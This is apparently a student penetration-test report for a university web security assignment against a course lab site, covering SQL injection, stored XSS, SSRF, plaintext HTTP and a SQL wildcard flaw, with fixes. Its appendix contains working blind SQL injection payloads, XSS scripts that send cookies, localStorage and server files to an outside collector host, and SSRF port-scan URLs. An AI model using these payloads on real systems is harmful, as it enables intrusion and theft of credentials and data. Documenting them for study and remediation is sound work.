We Test Pens Incorporated

COMP90074 - Web Security Assignment 2

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**PENETRATION TEST REPORT FOR**

**PleaseHold Pty. Ltd. - WEB APPLICATION**

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# Executive Summary

We Test Pans Incorporated has carried out an exhaustive penetration test of the web application <http://assignment-hermes.unimelb.life> at the request of PleaseHold Pty. Ltd.

At the conclusion of the test, five vulnerabilities (and their associated risks) have been uncovered:

1. SQL injection;
2. Cross-site scripting;
3. Server-side request forgery;
4. Sending sensitive information over HTTP;
5. SQL wildcard attack;

These risks range in severity from high to low, with the most concern falling on the SQL injection vulnerability in the finding user functionality (Finding 1). This vulnerability allows a malicious user to brute-force out all the other users’ login credentials, resulting in the ability to perform unauthorised actions and leak personally identifiable information.

Another high-risk vulnerability is the stored cross-site scripting in the web application’s anonymous question functionality (Finding 2). This vulnerability allows users to inject malicious code to the database, which could perform unauthorised actions when triggered. The third high-risk vulnerability is the server-side request forgery, which can be made through the website validation API (Finding 3) to leak out users’ sensitive background checks information.

The last high-risk vulnerability is the use of HTTP protocol (Finding 4). Since PleaseHold deals with banks and telecommunication companies who always put security at the first place, it is recommended to have HTTPS enabled to inspire trusts from business partners.

The last vulnerability, the SQL wildcard attack through the training lookup API (Finding 5) can list out all the trainings in the store. In this case, it is considered to be low-risk since no sensitive information involved. Proper mitigations are still recommended if it is not an intended usage

Based on these findings, the website is not secure enough for production release. The high-risk vulnerabilities can cause severe data breach and serious damage to the business reputation and they have to be mitigated before release. As for the low-risk vulnerability – SQL wildcard attack, it can either be fixed or left out as no unintended information can be leaked from there.

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# Summary of Findings

A brief summary of all findings appears in the table below, sorted by Risk rating.

|  |  |  |
| --- | --- | --- |
| **Risk** | **Reference** | **Vulnerability** |
| High | Finding 1 | SQL injection vulnerability present in finding user functionality |
| High | Finding 2 | Stored cross-site scripting vulnerability present in anonymous question functionality |
| High | Finding 3 | Server-side request forgery vulnerability present in the website validation functionality |
| High | Finding 4 | Sensitive information transported in plain text via HTTP |
| Low | Finding 5 | SQL wildcard attack vulnerability present in the training lookup API |

# Detailed Findings

This section provides detailed descriptions of all the vulnerabilities identified.

## Finding 1 - SQL injection vulnerability present in finding user functionality

|  |  |
| --- | --- |
| **Description** | A data breach may occur due to a **SQL injection vulnerability** in the web application’s **finding user** functionality, which leads to full account takeover, resulting in potential loss of personally identifiable information (PII) and unauthorised actions.  An attacker can inject malicious SQL statements via the finding user API endpoint and identify whether a statement can fetch any data back or not from its response. Although attackers will not be able to read out the data directly from the response, they can construct the same information by brute-forcing each character through repeated requests. This will result in severe data breach as a malicious user is able to read the whole database within no time.  The exploitation requires the attacker to login first so if only specific users have the access to the portal, the likelihood that it happens will significantly decrease. |
| **Proof of Concept** | This vulnerability can be exploited when an authenticated user interacts with the finding user API endpoint (<http://assignment-hermes.unimelb.life/find-user.php?username=>) by appending some formatted SQL query to it. The API will return “true” when the query fetches something back. By taking advantage of that, an attacker can construct anything they want from the database by brute-forcing each character one by one. For a detailed walkthrough, see [Appendix 2, Section 1](#_Section_1_–). |
| **Impact** | **Major:** An attacker could obtain login credentials for all users and precede to authenticate into each one, stealing PII, and performing actions on their behalf (such as updating their profile). However, users are restricted to only querying the database, and not modifying or deleting contents. This means, at most, all an attacker could do would be to steal PII and “request” changes to a victim user’s profile, as for this attack to be successful, an attacker must already hold one set of credentials. |
| **Likelihood** | **Possible:** Inputs in web applications are the most likely to be exploited by attackers while exploiting this vulnerability requires the attacker to have a set of login credentials. Therefore, the overall likelihood is said to be possible. |
| **Risk Rating** | **High:** Referring to the risk matrix in [Appendix 1](#_Appendix_I_-), possible likelihood and major impact suggest a high risk. A data breach to one of the business systems will be a great damage to the company’s reputation, especially for one that services banks and telecommunication companies who always put security at the first place. |
| **References** | [1] Assignment 1 sample report  [2] Lecture 5 - SQLi slides |
| **Recommendation** | 1. Use prepared statements instead of string concatenation [2]. For example:   $stmt = $con->prepare("SELECT \* FROM Users WHERE username = ?");  $stmt->bind\_param("s", $\_GET["username"]);  $stmt->execute();  $stmt->close();   1. Only grant public users the access to the current database. This will prevent the attacker to access database metadata and make it harder to get the schema. |

## Finding 2 - Stored cross-site scripting vulnerability present in anonymous question functionality

|  |  |
| --- | --- |
| **Description** | The **stored cross-site scripting** vulnerability presents in the **anonymous question** functionality**.** Malicious users can inject arbitrary code into the database. When the code is triggered, unauthorised actions with elevated privileges could be performed in the name of the admin users.  The exploitation requires the attacker to login first so if only specific users have the access to the portal, the likelihood that it happens will significantly decrease. |
| **Proof of Concept** | This vulnerability can be exploited by submitting malicious code as an anonymous question. Attackers are able to steal DOM, cookies and local storage of whoever triggered the code. In this case, attackers are able to perform unauthorised actions on behalf of any HR team member who happens to open up that question. For a detailed walkthrough, see [Appendix 2, Section 2, Exploitation 1](#_Exploitation_1).  Attackers can also fetch a file from the filesystem [1] since the code actually executes on the server side in this case. See [Appendix 2, Section 2, Exploitation 2](#_Exploitation_2) |
| **Impact** | **Major:** Malicious users can perform unauthorised action on behalf of HR team members and fetch files on the server. Since this vulnerability leaks out information about the server, it increases the risk of the server being exploited. |
| **Likelihood** | **Possible:** Inputs in web applications are the most likely places to be exploited by attackers, while exploiting this vulnerability requires the attacker to have a set of login credentials. Therefore, the overall likelihood is said to be possible. |
| **Risk Rating** | **High:** Referring to the risk matrix in [Appendix 1](#_Appendix_I_-), possible likelihood and major impact suggest a high risk. This vulnerability does not only affect the current system but also expose potential risks to the server. |
| **References** | [1] <https://www.miguelxpn.com/security/2020/03/08/Server-side-XSS.html> |
| **Recommendation** | HTML encode the users’ inputs to avoid executing malicious code. For example:  $question = htmlentities($\_POST["question"]) |

## Finding 3 - Server-side request forgery vulnerability present in the website validation functionality

|  |  |
| --- | --- |
| **Description** | The **server-side request forgery** presents in the web application’s **website validation** functionality. An attacker can induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing [1] and leaks out sensitive information without authorisations.  The exploitation requires the attacker to login first so if only specific users have the access to the portal, the likelihood that it happens will significantly decrease. |
| **Proof of Concept** | This vulnerability can be exploited by port-scanning the server [2] through the website validation API. After finding out the port, we can traverse the directory and eventually leak out the sensitive information. For a detailed walkthrough, see [Appendix 2, Section 3](#_Section_3_–). |
| **Impact** | **Major:** An attacker could steal the background checks information of users by exploiting this vulnerability. |
| **Likelihood** | **Possible:** Website validation has strong smell of being a potential server-side request forgery vulnerability since the server normally needs to make requests to the website for validation. However, exploiting this vulnerability requires the attacker to have a set of login credentials so the likelihood is said to be possible. |
| **Risk Rating** | **High:** Referring to the risk matrix in [Appendix 1](#_Appendix_I_-), possible likelihood and major impact suggest a high risk. This vulnerability leaks out background checks information which are highly sensitive. |
| **References** | [1] <https://portswigger.net/web-security/ssrf>  [2] Lecture 14 SSRF slides |
| **Recommendation** | 1. Blacklist http://localhost, http://127.0.0.1, http://0.0.0.0 and http://172.17.0.2 2. Close that port if it is not necessary. |

## Finding 4 - Sensitive information transported in plain text via HTTP

|  |  |
| --- | --- |
| **Description** | Sensitive information like the username and password transported via HTTP are not encrypted so it is possible that an attacker intercepts the packets and read directly from it. This could put all the other vulnerabilities at higher risk. |
| **Proof of Concept** | This is a screenshot of one of the transmitted packets from Wireshark and we can see that the username and password are shown as plaintext at the bottom. |
| **Impact** | **Major:** If an attacker manages to intercept the packets and get the credentials, all the other vulnerabilities will be more likely to exploited. |
| **Likelihood** | **Possible:** It is possible for a skilled attacker to intercept the packets. |
| **Risk Rating** | **High:** Referring to the risk matrix in [Appendix 1](#_Appendix_I_-), possible likelihood and major impact suggest a high risk. The use of HTTP could be one of the first causes of why other vulnerabilities can be exploited since they all require the attacker to login first. Moreover, it is important for a company dealing with banks to use HTTPS for all of their systems to inspire trusts from their clients. |
| **References** | [1] <https://httpd.apache.org/docs/2.4/ssl/ssl_howto.html>  [2] <https://letsencrypt.org/getting-started/> |
| **Recommendation** | Limit to the time and budget, the SSL configuration will need to contain, at minimum, the following directives [1].  LoadModule ssl\_module modules/mod\_ssl.so  Listen 443  <VirtualHost \*:443>  ServerName www.example.com  SSLEngine on  SSLCertificateFile "/path/to/www.example.com.cert"  SSLCertificateKeyFile "/path/to/www.example.com.key"  </VirtualHost>  Trusted SSL certificates can be gotten from <https://letsencrypt.org/> at no cost [2]. |

## Finding 5 - SQL wildcard attack vulnerability present in the API for training lookup

|  |  |
| --- | --- |
| **Description** | The **SQL wildcard attack** vulnerability presents in the training lookup API. Exploiting this vulnerability could result information leakage. Since all trainings are intended to be publicly visible, we conduct that this table contains no sensitive information. Therefore, it is said to be low-risk as attackers can only read information within that table. |
| **Proof of Concept** | This vulnerability can be exploited by putting “%%” [1] as the training name in the API. After login, running the following payload in the browser console will list all the trainings in the store.  (Note that the apikey needs to be replaced with a valid one)  $.ajax({  url: "http://assignment-hermes.unimelb.life/api/store.php?name=%%",  type: "get",  headers: {  apikey: "ad266779-af2a-11eb-9a2c-0242ac110002"  }  }).done((data) => {  console.log(data)  }); |
| **Impact** | **Negligible:** An attacker can list out all the trainings in the store, which are intended to be publicly visible. |
| **Likelihood** | **Possible:** Search-related functionalities are common places for SQL wildcard attacks while exploiting this vulnerability requires the attacker to login first so the overall likelihood is said to be possible. |
| **Risk Rating** | **Low:** Referring to the risk matrix in [Appendix 1](#_Appendix_I_-), possible likelihood and negligible impact suggest a low risk. Since an attacker can only leak out information from the current table which contains no sensitive information, it is said to be low-risk. |
| **References** | [1] Lecture 5 SQL wildcard attack slides |
| **Recommendation** | Use prepared statements. For example:  $stmt = $con->prepare("SELECT \* FROM Users WHERE username = ?");  $stmt->bind\_param("s", $\_GET["username"]);  $stmt->execute();  $stmt->close(); |

# Appendix I - Risk Matrix

All risks assessed in this report are in line with the ISO31000 Risk Matrix detailed below:



# Appendix 2 - Additional Information

This section is for any additional information you feel is relevant. This is where all your code and large proof of concepts should be! Make sure the code is properly formatted (and keep it in another file if needed, but refer to it properly)

## Section 1 – SQL injection exploitation walkthrough

The following steps (only critical steps are shown here) provide a proof of concept for an attack that exploits this vulnerability and retrieves sensitive information (in the form of the flag). Each payload is placed at the end of the finding user API endpoint (<http://assignment-hermes.unimelb.life/find-user.php?username=>).

|  |  |  |
| --- | --- | --- |
| **Step** | **Payload** | **Explanation** |
| 1 | 1. ' --+ 2. ' union select NULL,NULL,NULL --+ | From a), we know that here is an SQL injection point;  From b) we know that three columns are selected in the original statement. |
| 2 | 1. ' union select NULL,NULL,NULL having substring(database(),1,1)=BINARY 'S' limit 1 --+ 2. ' union select NULL,NULL,NULL having substring(database(),1,2)=BINARY 'Se' limit 1 --+ | In a), we use having clause to construct the statement such that the response will be “true” only if we have guessed the first character of database() correctly.  In b), we increment the length of substring by one and try to guess the second character.  We repeat step b) till the length can no longer increase, e.g., no character in the current candidate charset satisfies the next guessing character.  It might be the case that we have found the whole string, or that we have ran out the candidate charset, which should be rare cases but if it happens, we will need to expand our charset. Then we have two options:   1. We could use common sense here to tell whether we have got all the characters of what we are looking for since the naming of the schema is likely to be human readable. 2. We assume that we have got the correct guess and continue our exploitation. If we cannot proceed further, this should be one of places we suspect.   In this case, we happen to get all the characters covered in our first candidate charset (See charset variable in sqli.py) and find out the value of database(), i.e. the current database name, to be “Secure”. |
| 3 | 1. ' union select NULL,NULL, table\_name from information\_schema.columns where table\_schema='Secure' having substr(table\_name,1,7)=BINARY 'testing' limit 1 --+ 2. ' union select NULL,NULL, table\_name from information\_schema.columns where table\_schema='Secure' having substr(table\_name,1,9)=BINARY 'Trainings' and table\_name<>'testing' limit 1 --+ 3. ' union select NULL,NULL, table\_name from information\_schema.columns where table\_schema='Secure' having substr(table\_name,1,5)=BINARY 'Users' and table\_name<>'testing' and table\_name<>'Trainings' limit 1 --+ | In a), we do the same thing as step 2 to get the first table name of “Secure” from information\_schema.  In b), we try to find the second table name of “Secure”. To do that, we can simply add a condition to only match table names which is not “testing”. This gives us the second table name “Trainings”.  Next in c), we can get the third table name “Users” by guessing table names which is not either “testing” or “Trainings”.  We can repeat the above steps to get the fourth table name and we found that no character in the candidate charset satisfies the first character of the fourth table so we know there are three tables in “Secure” in total.  It might be the case that we ran out the candidate characters as mentioned in step 2 but we chose to continue with just those three tables, which turned out to be alright. |
| 4 | 1. ' union select NULL,NULL, column\_name from information\_schema.columns where table\_name='Users' having substr(column\_name,1,3)=BINARY 'api' limit 1 --+ 2. ' union select NULL,NULL, column\_name from information\_schema.columns where table\_name='Users' having substr(column\_name,1,2)=BINARY 'id' and column\_name<>'api' limit 1 --+ | In this step, all the column names in the “Users” table are found out by doing similar things to what we did in step 3.  Seven columns are found in “Users” table: "api", "id", "password", "probation", "**roles**", "username", "website".  Next, we want to find out what values are in column “roles” as we want to see if there are any admin users. |
| 5. | 1. ' union select NULL,NULL, roles from Users having substr(roles,1,4)=BINARY 'user' limit 1 --+ 2. ' union select NULL,NULL, roles from Users having substr(roles,1,8)=BINARY 'HR admin' and roles<>'user' limit 1 --+ | The step leaks all the values under the “roles” column: "user", "**HR admin**".  Next, we want to find out who are “HR admin” users. |
| 6 | ' union select NULL,roles,username from Users having substr(username,1,10)=BINARY 'prodigysml' and roles=BINARY 'HR admin' limit 1 --+ | Leaks out the first admin username. |
| 7 | ' union select NULL,username,password from Users having substr(password,1,32)=BINARY 'FLAG{Wear\_some\_glasses\_minions!}' and username=BINARY 'prodigysml' limit 1 --+ | Leaks out the password of “prodigysml” which turns out to be the flag: “FLAG{Wear\_some\_glasses\_minions!}” |

The above steps (plus more exploration steps) are detailed in sqli.py. By running it directly using `py sqli.py` will brute-force out the flag. Uncommenting code for other steps and rerunning it will produce the corresponding outputs.

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## Section 2 – stored cross-site scripting exploitation walkthrough

### Exploitation 1

The following steps provide a proof of concept on how the stored cross-site scripting vulnerability is exploited to make an unauthorised user pass the probation on behalf of the HR team members.

|  |  |  |
| --- | --- | --- |
| **Step** | **Payload** | **Explanation** |
| 1 | <script>  var serializer = new XMLSerializer();  var xhttp = new XMLHttpRequest();  xhttp.open("POST", "https://hermes.free.beeceptor.com");  xhttp.send(  "dom=" + serializer.serializeToString(document) +  "&cookie=" + document.cookie +  "&localStorage=" + JSON.stringify(localStorage));  xhttp.send();  </script> | Attackers find the stored cross-site scripting injection point by submitting this payload as an anonymous question. |
| 2 |  | Because no sensitive information can be stolen as shown in step 1, attackers keep exploring for hints of performing unauthorised actions. The following code looks suspicious.    Visiting [http://assignment-hermes.unimelb.life/ pass\_probation.php ?user=xiandew](http://assignment-hermes.unimelb.life/pass_probation.php?user=xiandew) directly in the browser shows “Unauthorised!”. |
| 3 | <!-- xss\_1.html -->  <script>  var xhr = new XMLHttpRequest();  xhr.onload = function () {  var xhr2 = new XMLHttpRequest();  xhr2.open("POST", "https://hermes.free.beeceptor.com");  xhr2.send("test=" + this.responseText);  };  xhr.open("GET", "http://assignment-hermes.unimelb.life/pass\_probation.php?user=xiandew");  xhr.send();  </script> | Submit this payload as an anonymous question. When that question is opened, the user “xiandew” will pass the probation on behalf of the HR team member who reads it. This gives us “Updated” as the response instead.    Back to the user profile page, we can see that the user successfully passed the probation and leaked out the sensitive information (in form of the flag). |

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### Exploitation 2

The following step shows how stored cross-site scripting can be exploited to fetch a file from the filesystem.

|  |  |  |
| --- | --- | --- |
| **Step** | **Payload** | **Explanation** |
| 1 | <!-- xxs\_2.html -->  <script>  var xhr = new XMLHttpRequest();  xhr.onload = function () {  var xhr2 = new XMLHttpRequest();  xhr2.open("POST", "https://hermes.free.beeceptor.com");  xhr2.send("test=" + this.responseText);  };  xhr.open("GET", "/etc/hosts");  xhr.send();  </script> | Submitting this payload as an anonymous question gives the following response: |

## Section 3 – Server-side request forgery exploitation walkthrough

The following step shows how to exploit the server-side request forgery vulnerability to get the background checks information. Each payload is placed at the end of <http://assignment-hermes.unimelb.life/validate.php?web=> .

|  |  |  |
| --- | --- | --- |
| **Step** | **Payload** | **Explanation** |
| 1 | 1. http://localhost:1 2. http://localhost:2 3. http://localhost:8873 | Port-scan the server till the response changes. |
| 2 | 1. http://localhost:8873/documents/ 2. http://localhost:8873/random/ 3. http://localhost:8873/documents/background-checks/ 4. http://localhost:8873/documents/background-checks/sensitive/ 5. http://localhost:8873/documents/background-checks/sensitive/flag.txt | Traverse every directory and eventually we will leak out the sensitive information: |